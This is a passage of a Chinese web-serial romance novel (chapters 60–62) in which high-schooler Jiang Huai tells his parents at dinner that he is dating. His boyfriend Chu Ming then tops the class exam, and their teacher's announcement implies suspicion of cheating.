他落课多,做专项训练补的话题型难度区分度太小,做套卷会的不会的都杂在一堆,挑题对他来说就是最大的麻烦。 但显然楚明对难度梯度和知识点的熟练度就比他高得多。 ……啧,他突然很期待这次周考楚明的成绩。 晚些时候吴珊来了通电话。 “他今天听话吗?”吴珊活跃的声音跳出手机。 楚明还没答,薄被底下江淮的手就环到他腰间,搂紧,微抬眼看着他时指尖轻轻在侧边打着圈。 楚明轻顿:“……挺听话的。” “真的吗?”吴珊说:“我刚给他打五个电话全都没接,明摆着故意躲我呢!你跟阿姨说实话,他是不是压根儿就没去?” 楚明垂眼,手指按到听筒时小声问了句:“你没接你妈电话?” “嗯?”江淮还没注意到手机在哪:“不知道。” 楚明:“……”手机欲低成这样。 他竖起食指示意江淮噤声,才把手机拿正:“阿姨我陪他去的。” “啊是吗?”吴珊扶额,默了一会儿才说:“哦我查到他今天的结果了……不好意思啊小楚。害,怎么感觉家丑总被你见着呢。” “您还知道是家丑啊?”江淮闷在被子里的声音毫不遮掩地传了出来。 楚明震惊地看着他。 江淮染着睡意的眼里张牙舞爪地写着三个大字:无所谓。 “江、江淮?!你怎么也在?”吴珊倒吸十八口凉气:“你俩在一起啊……” “嗯,”江淮拉着楚明的手腕,把手机拉到自己唇边,淡声:“还在我身边插暗桩呢?” “呃……”吴珊的声音没了。 “挂吧。”江淮吩咐道。 “嗯?”楚明看着他,有所犹豫。 “琢磨着怎么跟我解释呢,”江淮打了个哈欠,又埋回被子里,要睡了。 楚明:“……” 吴珊:“……” 窒息般沉默的两秒里,听筒里传来声音:“小楚啊。” “嗯?”还有他的事?楚明微愣:“阿姨。” “你明天来我们家里吃个饭吧,”吴珊温和地说:“我好当面感谢感谢你。” “不用。”楚明说。 “还是用的,”吴珊说:“你来嘛,明天阿姨亲自下厨,绝对好吃!” “去呗,”江淮忽地开口,声音稍显含混:“她就是想当你面骂我。” 吴珊在那头无声喷气式咆哮。 楚明笑了笑:“……好。” 电话挂断后楚明没忍住挑了下眉:“你真挺天不怕地不怕的。” 江淮脸被薄被捂得发热,探出脑袋很轻地倚靠在他肩头:“她是我妈,又不是谁。” “嗯……”楚明把竖着的枕头放平,偏过上半身去关灯。 光线暗下来,拉合到一半的窗台放进水色的月光。 江淮轻笑了声,握在他腰侧的手心收拢,指腹刮着硬鼓鼓的腹部肌肉:“怎么?” “没,”楚明躺下去:“觉得这样的……母子关系,很神奇。” “是吗?”江淮借月光看着他。 “嗯。”楚明说。 江淮轻顿,相处这么久还没听楚明提过父母,他凑过去些:“别想了。估计她现在骂我骂得正起劲,气得明天冒两颗痘又得骂我一顿。” 楚明笑了:“真的?” “不止。”江淮在他唇角轻啄了一下:“睡吧,我今天困得要死。” “嗯。”楚明舌尖轻碰唇角,偏过脸小声地说:“晚安。” “晚安。”江淮说。 第二天早上江淮睁眼的时候,楚明还睡得笔直,像条兵。 太阳把屁股都快晒化了。 江淮掀开半拉被子噌地坐直,长腿跨过楚明坐到床边蹬上拖鞋,目光稍偏些落在床上楚明安静的睡颜,食指微曲勾了下他鼻尖。 “睡死你得了。”他笑着收回手,出去洗漱。 把牙刷戳进嘴里,江淮微抬眼时镜子里忽地多映出半张脸。 是楚明。 “嗯?”他含糊不清地哼着:“起来了?” 楚明挤开他,弯腰时拍开水龙头,接了捧水洗嘴,伸手去拿牙刷,声音带着才睡醒的沙哑:“都站你面前了。” 江淮笑笑,吐掉沫子清洗干净唇周,他甩了点水渍到楚明脸上:“我还说等我洗完你还不醒我来给你抽醒。” “嘶……”楚明抹掉甩进衣领里的凉水,“你搞什么!” “明知故问。”江淮掌心贴着他脖颈而去,指腹上下滑动间捻掉没摸干净的小水珠。 楚明抖了下,“你手好凉……” “受着。”江淮一抹他脖子,脚步轻快地出了房间。 楚明:“……” 他稍显无奈地开始收拾脖子上稀里哗啦一团糟。 江淮坐沙发上,见小桌上放着些小面包,随手剥了个放嘴里,余光注意到楚明出来,他问了句:“吃什么?” 楚明微抬下巴点了下他手里的面包:“明知故问。” 江淮:“……” 他笑着咽完面包,“你挺劲啊。” 楚明没管他,走到旁边拉开冰箱门捞出盒牛奶,顺手戳了个吸管。 他站到江淮旁边,懒得问,直接怼他手里:“喝了。” “嗯?”江淮没接,就着他的手喝了一小口。 奶。 他拧了下眉,扫清楚包装盒上“低脂高钙”四个大字,轻地笑了:“养我呢?” 这话说得挺那啥,楚明张着嘴都不想接:“……嗯,我记得医生让多补钙来着。” 江淮接过,叼着吸管喝了两口,“你这算是关心则乱吗?” “乱在哪?”楚明坐他旁边,伸手薅了个面包。 “说高钙就真补钙吗?”江淮喝了一半就不想喝了,塞到楚明手里:“不好喝,拿走。” 楚明:“……” 他掂了下感受余量,就着面包把剩下半盒喝了。 中午点了个外卖随便应付,没睡午觉做了大半下午的题,接近傍晚的时候吴珊来电话说房间收拾得差不多了他们才蹬个自行车往江淮家里走。 没等江淮把钥匙插进孔里,门先一步推开了,而后吴珊的声音像跟踩扁的弹簧忽的窜起:“诶!小楚来了!” 江淮连退两步:“……” 楚明被他的动作带得后背抵在白墙上,不用看都知道蹭得满是白灰:“……” “耶?怎么了?”吴珊举着锅铲,皱了下眉毛:“江淮你干嘛拦着小楚!” “炒菜的时候是不是眼珠子掉锅里了,看不明白净瞎扯。”江淮反手拽住楚明的手腕,脚尖把门点至大开,带着人走了进去。 “嘿!”吴珊用锅铲打完空气才温温和和地关好门。 江竞先端端正正坐在沙发,伸手斯文地扳正眼镜框,“小楚来了?” 楚明换好鞋,微微欠身:“叔叔好。” 身后吴珊突然冒出一声:“阿姨在这儿!” “……”楚明转身,微笑:“阿姨好。” “好好好……耶?”刚才始终被自家儿子挡着,这下骤然看清楚明的脸,吴珊愣了三愣:“小楚你——” 楚明听着:“嗯?” “怎么突然把头发剃了?”吴珊双手抱胸,木锅铲冲天一指,她若有所思地思考了一会儿:“适合你,太适合你了!剪完整个人都清透了,比江淮还帅。来我摸摸头,是不是扎手?” 江淮:“……扎死你。” 楚明笑得勉强,见吴珊手都伸过来了只好微微俯身。 吴珊轻轻抚摸了一轮儿,指腹走完稍显刺棱的发茬,“小楚头形好,五官也好看,撑得起寸头。” 楚明笑着:“谢谢。” “我带回家的人自然不错,”江淮嘴角扬起微小的弧度,轻轻往楚明屁股上拍了一掌,接着揽过他腰从他妈炯炯如火的目光里手下夺人,走出半步才扭头说:“再热情点我爸该有危机感了。” 吴珊:“……”好一招引火烧身啊,儿子。 江竞先:“……” 电视机日常停在频道一,独自美丽着,旁边江竞先屁颠屁颠地进厨房帮忙制造人间烟火。 坐到沙发上,楚明小声地凑到江淮耳边:“你要不要这么放肆。” “放肆?”江淮挑了下眉,看着他:“哪里放肆?” 楚明看着他:“……” 江淮笑着给他手里塞了颗冬枣,轻声:“没事,他们神经比碗粗。再说我不拉你一下她该词穷了。” “是吗?”楚明揉着冬枣。 “嗯。”江淮肯定:“都斗多久了,我了解他们。” 厨房里叮铃当当全是动静,偶尔还能传出吴珊的狮吼功:“盐放多了!”“油少了!” 要打起来似的。 等了半小时等得江淮都拿冬枣当球耍杂技了,厨房里两位大侠还没有要出来的意思。 江淮咬掉半块枣,拧眉:“你俩干嘛呢?” “烧盘大菜,你俩小孩儿先玩!”吴珊刚炒好糖色,筷尖一点嘴巴一抿,苦得江竞先连翻二十个跟头,抱头鼠窜并艰难地说:“还行还行,能吃。” “能吃哈?”吴珊挑起眉毛。 江竞先选择舍小保大:“……能吃。” 十分钟后餐桌的氛围凝重得塞鸿门宴,只有吴珊笑得忘乎所以。 “吃啊,都吃啊,”吴珊笑嘻嘻地把筷子散发:“我好久没做过家常菜,做半天。” 江竞先接过,小声:“肉片汤我烧的,其他的都得感谢珊珊。” 江淮淡定地接过两双筷子,凑到楚明耳边低声提醒:“肉片汤能喝,其余别碰。” 楚明:“……” 得亏晚饭食欲不如午饭,品鉴完江竞先尝每道菜时微妙的表情管理,江淮的筷子探向那盘清炒小白菜。 楚明无条件地、跟。 “最近是不是很累?”吴珊刨着米饭,试图压下糖醋排骨的销魂味道:“又是运动会又是考试的,身体吃得消吗?” “还行。”江淮舀汤:“楚明是要累一些。” “那是要累些,我听说他跑你们学校三千米,这么长的距离听着我腿都软了,”吴珊摇摇头:“小楚还是厉害。” “厉害。”江竞先附和。 楚明笑笑:“嗯,谢谢。” 吴珊嘬了口筷子,被苦到眉毛乱跳,缓了好久才说:“诶?江淮,你这周除了学习和进行断腿运动还做了什么?” 江淮轻抿唇,朝她看去:“你先说。” 楚明轻挑了下眉。 “我挣大钱,你爸挣钱,”吴珊难得认真地说:“具体的就不跟你讲,怕教会儿子饿死老娘。” 江淮“嗯”了声:“我谈恋爱了。” “!!”楚明喂进嘴里的豆子嚼都没嚼直接滚进喉咙管,呛得他匆忙间端起江淮的汤碗猛喝一口。 江淮淡定而从容地扫了他一眼。 “嗯?什么?”吴珊上半身往前探出一截:“儿子,你再说一遍?” 一项斯文儒雅八风不动的江竞先也激动地掏出阅读用眼镜戴上,咋呼:“谈恋爱了?” “嗯。”江淮镇定地给楚明多添了半勺汤:“怎么你们是没谈过恋爱直接领证的吗?震惊成这样。” 吴珊&江竞先:“……” “我们还是谈了的谈了的,没那么快。”吴珊连忙说,生怕给儿子带坏似的:“恋爱圆满之后才结的婚,非常谨慎。” “对,非常谨慎。”江竞先重点重放,还加了主观观点:“你也要谨慎为上。” “我知道。”江淮说。 楚明被挑得心神微微晃荡,喝汤时余光紧锁着江淮。 他没想到江淮会挑明得这么突然也这么直接——到底是低估江淮的嘴了。 谈恋爱是事实,跟谁说这件事他倒没怎么想过。除却相隔甚远的家人他暂时没有需要“报备”的对象,但江淮…… 他对这种明说不介意也很坦然,只是不知道叔叔阿姨……他怕他们吵起来或者更甚。 “儿子你居然谈恋爱了?”吴珊皱起两根眉毛沉思:“哟,渣男。” 江淮看着她:? “我以为你要爱你的篮球爱一辈子白首不分离。”吴珊嗤笑着说。 江淮:“……”这事他怎么不知道。 楚明听着听着眉梢微微一挑,歪了下头看着江淮。 “难怪最近尤其不爱惜腿,还跑去参加三级跳远,”吴珊说:“原来是有新对象,没时间管篮球了。” 江淮嘴角勾笑,顺着她的话说下去:“所以找了个篮球打得好的。” “哟!”吴珊笑起来:“你爱一个还不忘前一个呢!” 江淮:“……” 楚明很轻地笑出了声。 “说吧,恋爱对象是颗球还是什么?”吴珊对运动类项目了解不多,只能抽象化:“圆的方的长的还是什么的?” 江淮指尖点着桌面,闻声挑了下眉:“你看我爸是圆的方的长的还是什么?你谈的是什么我就谈的是什么。” 江竞先:“……” 吴珊忽地严肃起来,“儿子,你谈的还真的是人啊?” 江淮则是一副探其究竟地眼神看着江竞先,声音含笑:“爸,您觉得呢?” 江竞先:“……” 他摘掉眼镜,艰难地说:“那至少是个人了。” 吴珊撂下筷子,标准的双手抱胸:“儿,你知道你这算早恋吗?” “知道,”江淮看着她,也没再吊儿郎当:“但情绪情感千人千种度量,十八可以算晚,二十二也可以算早。有了就是有了,我不觉得早,也不觉得我不够格。” 饭桌上安静下来,吴珊少有地声线平和:“所以你想强调的是后半句,对吧?” “嗯。”江淮点头。 “你还小,你怎么知道自己承不承担得起?”吴珊问,“你得知道一项规则的设立自然有它背后充分且厚重的理由。” 江竞先抬头看向吴珊,一副“嚯!”的表情。 江淮默了两秒。 楚明也在想,目光落在已经凉透的汤面,半晌,有了答案。 江淮轻轻一笑,“如果我都承担不起,我跟你们说什么?” 江竞先这次总归先一步夺得发言权:“我觉得还是可以相信儿子的。” “嗯?”吴珊看奸细似的看着他。 “我之前悄悄听儿子发过誓,说上一天学他当一天狗,”江竞先笑笑:“你看他昵称,当狗不是都快当两年了嘛。” 江淮:“……” “所以你到底谈了个什么玩意儿?”吴珊看着他,扯了扯双下巴,“儿,我都想象不出你谈恋爱是什么样子,别人相亲相爱地牵手,你俩搂肩哥俩好;别人甜甜蜜蜜来回一句亲爱的宝贝,你俩两句离不开一句傻逼。” 楚明:“……” 江淮不慌不忙地看着江竞先,那眼神好似在问“您是个什么玩意儿”。 吴珊竟意外地掌握了读心术:“……” “行吧行吧我相信你有数。”吴珊含泪接受,“那你还有什么要跟我交代的吗?” “暂时没有。”江淮说:“你们还承受不住。” 吴珊瞬间就眼睛瞪得像铜铃:!! 江竞先则若有所感地看了眼江淮,眼里闪过一道微妙的光芒。 这顿饭吃得人心情上上下下的,还没下桌人就饿了。 于是江竞先挑了两个比较好改味的菜去热了热,吴珊重新盛了几碗饭,重开筵席。 明智地开始讨论非敏感话题,比如:“想吃什么?” 饭后江竞先去厨房洗碗。 楚明正收拾着桌面,手腕被轻轻一拉,吴珊在他耳边小声地说了句:“小楚,来,阿姨问你点儿事。”—— 作者有话说:依旧长章[眼镜] 感觉也可能应该也许大概……有点要完结的气息了。《 》 60-70 第61章 第 61 章 “嫁狗随狗。”…… 楚明只得放下抹布:“……嗯。” 旁边江淮则轻扬了下眉毛, “妈,问他您可算是问对人了。” 正小心翼翼避开江淮的吴珊:“……” 这语气妥妥的反讽。 她对着空气来了一脚:“去你的,江淮你今晚不把桌子擦干净我等会才来慢慢收拾你。” 江淮笑笑没说话, 走过吴珊时背对她不动声色地食指勾起楚明衣服下摆, 指尖轻轻划了一道他后腰。 细密的颤栗突突突地从尾椎骨炸响,楚明感觉一瞬间全身都僵硬结块了。 反应过来时他稍显无奈地反手握住江淮的手,面无表情:“你烦不烦。” 没等江淮说话吴珊就先一步跳了起来:“嘿!小兔崽子,当我面威胁小楚, 你今天非得被我打一顿我才舒服!” 江淮捏了两下楚明的手才放开:“去去去, 聊你们的。” “哟,这么坦荡?”吴珊哼了一声:“你信不信我今天留楚明在这过夜,我看你怎么好意思。” 江淮真诚发问:“有什么不好意思的?” “你不是不喜欢挨着人睡吗?不让人摸不让人牵的, ”吴珊笑道:“小楚是客人,我反正不会让他睡沙发打地铺,我看你到时候浑身不舒服跑去睡沙发爽不爽!” 江淮笑容有些压不住:“我拭目以待。” “……”吴珊被他那副小人得志的表情看得有些胸闷气短, 连忙看向楚明:“他笑什么?是不是脸抽筋了?” 楚明没憋住, 也跟着笑了起来。 “哎哟,小楚你笑起来真好看。多笑多笑,心情都给我笑好了。”吴珊感觉乳腺一下子通畅了, 没再理江淮, 转身把楚明往书房里带:“来, 我们俩单独说会儿悄悄话。” 楚明看了江淮一眼:“嗯。” 书房桌面收拾得挺齐整, 桌子下方规矩地收着两张椅子。 吴珊依次推出, 笑道:“来,刚好,我们坐着说。” “嗯。”楚明坐下。 “哎,昨天实在不好意思, 我不知道江淮就在你旁边,现在想起来还怪尴尬的。”吴珊扶额:“事后江淮他没欺负你吧?” “没,”楚明平静地说:“他也不至于。” “诶?”吴珊略显震惊地看着他:“我怎么感觉小楚你对江淮那崽子格外包容呢?换小严来,早跟我吐槽八百道江淮哪不好哪不对了。” 楚明反问:“有吗?” “嗯,有,我还是头一次见谁关系跟他这么近。”吴珊边思考边说:“感觉你俩一直在一起啊。打你电话的时候江淮在,打不通江淮电话的时候江淮保准在你那,形影不离的。” 楚明还算淡定地笑着:“概率问题。” “不不不,我觉得……”吴珊顿了下,用锐利的眼神打量着楚明。 楚明轻搓指尖,无端有种吴珊下一秒便会道破什么的危机感,心都跟着揪了起来。 吴珊斩钉截铁:“我觉得你还是性格太好了。” 楚明:“……” 不得不承认,神经确实粗。 场景再现地结束夸夸环节,吴珊又问了些近期关于江淮的事。 “他最近学习怎么样?”吴珊问。 楚明中肯地说:“基本在稳步上升。” “嗯,跟老师的关系呢?有没有还像之前那样闹得僵持不下啊?”吴珊问。 楚明想了想:“正常关系,算不上僵持。” ……吴珊陆陆续续问了许多问题,从学校到家里,偶尔顾及些琐碎事情。 楚明却越发答得心不在焉。 一来一回间,他忽地感受到,江淮和吴珊之间似乎也没有他想象得这么亲近。 她某些话里对江淮的判断甚至还停留在很久之前,像是用一套已经过时的程序在跑新的数据,最终出来的结果总是会让她大吃一惊。 “啊?真的吗?”这是第三遍。 “嗯。”楚明轻声说着:“他挺听话的。” “嘶,”吴珊的眉毛拧出倒“V”形,吸了口凉气:“怎么江淮在你手底下和在我手底下不一样呢?你瞧瞧刚吃个饭损我多少句!你的江淮我的江淮好像不一样……” 楚明看着她:“……”得,还唱起来了。 “算了也无所谓,他只要没反了我一切好说。”吴珊温柔地看着面前的男生,说:“我大概也就说这么多。阿姨谢谢你对江淮这么包容,等过年阿姨给你封个超级大红包……呃,趁他不在,阿姨悄悄问你,他谈恋爱这事,你知不知道?” 楚明轻顿:“……知道。” “哟,兄弟比娘亲。”吴珊感叹一句,依旧小声:“那你知道他对象,嗯……长什么样?” 楚明勉强:“至少有个……人样。” “耶?糟了,已经串供了。”吴珊捂脸抹掉不存在的泪水,“那我不问了。既然他愿意告诉你不告诉我说明你要可靠些,我也不威逼利诱你,就麻烦你帮阿姨稍微照看着他们。我总害怕人女孩受情伤,恐怕江淮表个白人家都觉得是在干仗,你偶尔委婉曲折地跟他说注意言辞……” 还没等吴珊balabala完,书房门被轻地叩响。 紧接着是江淮的声音:“妈,还聊多久?” “关你屁事,”吴珊立马看向门口,从缝里盯着江淮的脸:“你催个毛线催!” 江淮:“……” 他无奈地笑着抬起左手,食指点了点手腕:“看看时间。明天我和楚明上课,我爸明天也早课,合着就您精力旺盛一带三吗?” 吴珊:“……” 她摆摆手:“哎哎哎我知道我知道了,不说了不说了。” “嗯,”江淮勾了下唇:“话多显老,您别上套。” 吴珊立马冲起来:“我哪儿老了!!” 江淮一个转身潇洒离去。 楚明:“……” 经过江淮一打搅,吴珊长话短说两句交代完,出书房前轻轻抱了下楚明。 楚明身体微僵,片刻怔愣地看着眼前的人,目光淡淡扫过她黑发间若隐若现的银丝,有些恍惚。 “果然亲生的比不上别家的。”吴珊在他后背拍了两下。 楚明:“……” “谢谢你啊小楚。”吴珊说。 楚明微微颔首:“嗯。” “嘿?怎么现在跟江淮一个习惯,”吴珊带着他往外走的时候忍不住感叹:“他从小也是,每次别人跟他说谢谢,他不接‘不客气’,偏要嗯嗯嗯地答应,愣是谦虚谦逊不了一点。” 楚明愣了下,他自己都没发现这点。 好像不知不觉间有些表达就跟着改变了…… 晚些时候送走吴珊江竞先,房间里才算彻底安静下来。 楚明懒得拿开沙发垫上横放的抱枕,直接仰躺下去,腰腹被顶起一截高度。 “累了?”江淮看了他一眼。 “有点。”楚明闭着眼,手背压着眉眼挡客厅的顶光,说:“你身上屁事挺多。” 江淮坐过去:“我妈问你我干了什么吗?” “嗯,”楚明声音含着些倦意。 “我跟她说,”江淮拧了下眉,反手摸到手机给她拨了通电话:“让她下回直接来问我。” “诶——” 楚明还没来得及阻止,同样暴雨般猛烈的吴珊就已经接通电话,母子开始激烈对线。 算了,楚明躺回去。 但貌似这次对线还算顺利,三言两语间江淮就挂掉电话,一副事成的模样:“说了。” “嗯。”楚明佩服地应了声。 “你今晚回去吗?”江淮凑过去,忍不住去看他因为仰躺衣服微微上移而露出的半截细腰,肌肉轮廓清晰明了,他扬了下眉。 “得回,”楚明说:“秦苗下午传我零诊试卷,要回去看看。” 江淮拧了下眉:“她班上不统一讲吗?得要你单独讲。” 楚明反问:“一对一和一对多的区别,你不知道?” “呵,”江淮没再忍耐,伸手过去直直覆上他腰腹,感受着微微鼓动的温热起伏。 楚明懒得给他一脚,由他去了:“再者我接了这份活自然该做些事。” “我知道,”江淮啧了一声,“时间能快点直接过渡到明年六月就好了。” “好个屁,”楚明拍开他的手,坐起来,“你现在的水平还进不了高三。” 江淮:“……” 1 他看着楚明认真的眉眼,笑了出来:“楚明你这嘴越来越厉害了!” “近墨者黑。”楚明说。 “不,”江淮凑他耳边,暧昧不清地说:“嫁狗随狗。” 微湿的呼吸荡得耳尖发痒,楚明偏了下耳朵,抬手屈指叩在他脑门:“你当狗当上瘾了?” “嗯。”江淮对所谓名誉形象并不在乎。 楚明:“……” 他拂开江淮探来的手,瞄了眼时间确实该走了,不禁逗道:“那我现在要出门了,你是不是得朝我叫一声?” 江淮看着他,勾起唇:“你过来。” “嗯?”楚明微微朝他倾了下。 江淮贴着他耳垂,声音刻意放得轻而缓,磁性勾人:“男朋友。” 楚明忽地僵顿住,在自己都没意识到的时候嘴角先扬起微小的弧度,他轻轻地笑了:“晚安。” 江淮默了一毫秒:“晚安。”- 周一例行升旗仪式。 “获得上周流动红旗的班级是6班、7班、8班、15班、18班、20班、21班、29班,请各班班长依次上台领取。” 宣读声落下,21班班级方阵却久久没有人动。 “是念错了吗?”刘明宇吃一堑长十智,生怕屁颠屁颠去瓜兮兮地回,连忙四处张望。 有人脉的同学已经开始四处向旁边班级探听消息。 看着这一众鸡飞狗跳乱七八糟,江淮偏头跟楚明咬耳朵:“流动红旗很难得吗?自我怀疑成这样。” “也不是,”楚明笑着说。 “那是什么?”江淮小声地问。 “因为有你,”楚明也跟着小声说。 江淮:“……” “也不至于,”楚明勾了下他小拇指,笑说:“相较起来21班挺两极分化的,有人上同时也有人下,基本正负直接抵平,没什么评分优势,久而久之就成刻板印象了。” “嗯。”江淮扯了下唇。 楚明说得挺好听的,其实话外意思就是作为尖子班之下普通班之首,21班是关系学生最好的选择,加分比重最大的成绩环节,没什么拿得出手的。 “请21班班长上台领取流动红旗。”主席台上再度播报。 几度寻求无果的刘明宇立马一震,都顾不上扶眼镜,歪七扭八地朝主席台飞奔而去,像根干丝瓜似的杵在台上拍完照下台。 “居然真的是我们班啊!” “所以,这回又是哪位神仙给我们班加分了?” “运动会是不是,我记得楚明三千好像跑了第一?” 方阵里七零八落地响起讨论声,时不时会有几缕视线往后飞来,跟狙击手瞄准似的。 今天大马猴有事没来,隔壁班班主任代为管理,听到叽喳声皱着眉飞快走过来:“安静点安静点!体育委员班长都出来管管!纪律差成这样!” 粗壮的声线听起来像黑熊咆哮。 陈炜和刘明宇立刻站了出来,虽然作用不大。 黑熊班主任逡巡几圈,没多用心地完成任务,随心地停在了方阵末。 后排隐晦且加密的讨论不得不紧急告停。 “你是楚明吧?”黑熊开口小声地问。 “嗯?”楚明微愣,留意到站自己右后方的人,退了半步:“我是。” “哎呀,你现在可是在年级里出名了。”黑熊一掌落在他肩头,重重地拍了拍:“黑马选手啊。” 楚明没听明白:“什么意思?” “诶?”黑熊稀奇地说:“你还不知道吗?” 楚明:“……”他该知道什么。 黑熊看着他,咂巴两下嘴欲言又止:“算了算了,你还是回班后听你们马老师讲吧,我就不给你免费超前点播了。” 楚明无语了一瞬。 江淮倒是全程听着他们的对话,没忍住:“您闲得慌来逗学生吗?” “诶?!我哪里是闲得慌!”黑熊先叉腰后背手,视线一偏落在江淮身上,耶?了一声:“是你啊,犟头。” 江淮:“……”什么狗屁称呼。 “我记得你,那天学生家长来闹的时候你还让我免费听了一场沉浸式检讨演讲。”黑熊嘿嘿笑起来:“太有意思了。” 江淮看着他:“我不认识您。” “我啊,我是二十班的班主任,也是教数学的。”黑熊说着说着感觉胸口刺挠,忍不住看向楚明:“楚明同学,你要不转来我们班吧?” 楚明指尖轻动:“嗯?” “哎呀!呀呀呀!涉及剧透我不能说不能说!”黑熊边摇脑袋边坚持。 楚明:“……” 江淮:“……” 在黑熊憋死自己之前江淮三言两语给他说回自己的班级站桩,等周遭又死灰复燃起微弱的讨论声时,他轻轻凑到楚明耳边:“我大概猜到是什么事了。” “嗯,”楚明轻地点头:“我也是。” 升旗仪式结束,回教室时几乎无缝衔接第一节课。 进教室的间隙有人习惯性往班级外的墙壁扫去,惊诧地发出一声:“这周周考成绩还没出来吗?” 已经接受雷打不动升完国旗看成绩的流程,在这突然的变故面前,疑惑完全成指数级暴增。 正沸腾着,前脚进教室后脚就老实。 大马猴正绷着严肃脸站在讲台,辨不出具体眼神地平扫着偌大的教室,可谓一百八十度度度不落下。 “都到班了吧,”他捞起戒尺,手撑在边端:“我说个事。” 教室各排间都开始左顾右盼,跟机器人集体测试脖子灵活度似的。 “上周周考的成绩已经出了,”大马猴说着,转身把已经投好屏的两块黑板拉开。 灰白色成绩单瞬间挤满了视野,其上是鲜明的抬头——“八中高二上第八周周考成绩单”。 而其下第一栏,被蓝色荧光笔单独圈起来、位列班级第一的名字,赫然是: 楚明—— 作者有话说:稍晚。 因为存稿不多,国庆期间可能大概是两天一更[眼镜][眼镜] 第62章 第 62 章 “他是挺特别的。” 大马猴才退开半步让开黑板, 底下瞬间就雷声大动轰隆叮咚! “我操?” “楚明?这个名字最近出镜率有点高啊!” “WAIT!我需要呼吸机!他怎么可能呢?” “破案了,作弊手段第一高明。” “啊?啊?啊?啊啊!!” ……千奇百怪的动静集聚一堂,不知道的还以为菜市场今天临时入驻八中21班。 江淮眉梢轻挑, 他想过楚明厉害, 但没想过会这么厉害,因为紧接着班级排名的旁边是同样的年级排名。 他偏了下头:“这么猛?” 楚明也愣了半会儿:“我也没想到……” 他做的时候没什么感觉,不算卡顿但也绝对算不上顺畅,只能说勉勉强强状态还行, 但没想到结果比他所想要好得多。 想到那天周考结束楚明略显愁态的神情, 江淮勾了下唇:“有时候就是这样。属于你的会一直属于你,只要你还是你。” 楚明凑过去,“嗯?” “你值得这个成绩, 楚明。”江淮说,“身体本能有时候会比你想得更强大。” 学篮球的时候,教练尤其会强调本能, 就像投篮, 无数次抛掷形成肌肉记忆,它总会在该出现的时候出人意料地出现,让该进的球得进。 让该值得的人值得。 楚明眼睫轻地颤了下, 点头:“嗯。” “都安静点, ”大马猴长吁一口气, 用戒尺强行叫停班级里的躁动:“我就没听到你们嘴里冒出几句好话来。” 正张着嘴的同学像被定点狙击了似的猛地闭上嘴巴。 “作弊的事情是不可能的, ”大马猴面无表情僵硬地说着:“这次考试非常巧合, 我刚好在数学考试的那场监考到楚明所在考场,他就坐在我眼皮子底下,作没作弊我比你们清楚。” 底下传出几声倒吸凉气的嘶声。 “好像是啊,我好像也是数学考试被他监考, 当时我还报怨呢。” “加一,英语还遇到杨老师……” “这运气也太好了吧!” “我操,坐在眼皮子底下,这算是高压作业了吗?” …… “我也问过你们杨老师、卫老师,周六你们走了之后我还在监控室调监控看。”大马猴说:“事实证明确实没有作弊,这就是楚明考出来的成绩,也是我们班这周能得流动红旗的最主要加分学生,大家鼓掌以示表扬!” 大部分的同学还没完全反应过来,但教室边角喇叭哥和赵逵逵已经开始激烈地鼓掌,掌声震耳欲聋! “你们愣着干嘛呀?”大马猴呵斥道:“让你们鼓掌怎么你们了吗?” 教室里氛围逐渐微妙,沉闷而厚重的一阵掌声里,大马猴转身撤掉成绩单,面容凝重地翻出周考数学试卷,“现在开始讲卷子……” 稀里哗啦的翻卷声里扬起阵阵细碎的讨论。 “试卷难,考得差正常,”大马猴讲完前几道题,撑着讲台叹气:“这也是为什么你们考不过别人。我从你们进校第一天就在说,文科从来比数学,其次主科为王,你们偏不信。楚明这次文综成绩并不突出,但三门主科加起来已经有四百多分,想考不好都难……” “嘶……”十几条蛇同时出动。 一直到下课嘶声还始终存在,偶尔在教室不知道哪个方位冒尖。 空调开着却说不出的闷人,沉矮而克制的讨论时不时扩延,像指甲刮过黑板带出的尖锐鸣声,听得人心里发堵。 大马猴走出教室的同一时间,赵逵逵旋风大步飞到了江淮这边。 “我操?!”他撑着课桌发出一声憋了整节课的惊叹。 江淮看了他一眼,勾唇。 “苟富贵勿相忘啊哥们,”赵逵逵头一次没先顾着江淮,上半身笔直地往里探去,蛄蛹着:“楚明你简直是我楚哥!牛逼得爆!” 楚明轻笑,“谢谢。” 前桌和离得近的同学止不住地向后面投来探寻的目光,伴随着掩面或是毫无阻挡的叽喳声。 赵逵逵还想说什么,但想穿透自己后背直直戳到楚明身上的视线过于强烈火热,但凡视线有实形,他已然是筛子了。 他小声问了句,难得隐晦:“你们要上厕所吗?” 两人会意,跟着出去了。 教室外空气显然流通得多,出去后似乎人也跟着顺畅了。 数不清的惊叹后,赵逵逵终于说了一句重复率为零的话:“但我怎么感觉哪哪有点儿不对啊。” 江淮双手撑在栏杆,漫不经心地向下看着树坛,淡声说:“他故意的。” “诶我就是这个感觉!是吧是吧!”赵逵逵往教室办公室方向瞅了一眼,扭过头压低声音说:“就是感觉特别刻意,明明不一定所有人都会注意到的,但他这一搞,知道的不知道的全知道了。而且他话上说着相信楚明,结果又是去问了其他老师又是去调监控。连我都听得出来他说话阴阳怪气……” “阴阳怪气都听出来了?”江淮看着他。 “嗯呐嗯呐!而且正常情况下如果我是老师,我的学生考得很好那我应该高兴啊,但他整节课一直挂脸,跟谁欠了他几百万一样。”赵逵逵激动地说。 楚明手肘抵在栏杆台,单手托腮静静地听着他俩一来一回的交谈,轻轻笑道:“你们,怎么突然这么感性?” “嗯?你这话的意思是你没感觉到吗?”赵逵逵双目震惊地看着他。 “有一点吧,”楚明语气平淡地说。 “那不就得了,”赵逵逵摊手:“不是我们感性,而是老马他根本就没遮掩,明摆着的……” 楚明视线偏到教学楼外,很轻地:“嗯。” 像是后知后觉,赵逵逵拉了下他校服袖子:“呃……你会不会伤心啊?” “不会,”楚明淡淡地笑着:“这不重要。” 江淮看着他,点了下头:“嗯,这不重要。” 赵逵逵:“……”敢情就他一个人觉得重要?! 预备铃打响的时候,他仨悠悠地往教室里走。 “打扰一下,”一个陌生的男生扒着门往里探头,“你们班语文课代表在吗?” 楚明在他身后应了声:“在。” “哎——”男生弹射转身,惊了一跳,“你好你好。” “你好。”楚明看着他。 “卫老师说找你有事,让你去趟她办公室。”男生说着补充了句,“我也是语文课代表,没骗你。” “……”楚明轻点头:“好,谢谢。”- 办公室老师还挺多,楚明进去的时候和几双眼睛齐齐对上,他轻颔首:“老师们好。” “小楚早上好啊。” 等走到卫疏的工位,楚明轻轻问了句:“卫老师,您找我?” “嗯,”卫疏拉开抽屉熟练地抽出一包海盐味饼干,塞他手里时说,“坐。” “谢谢。”楚明没客气地接过。 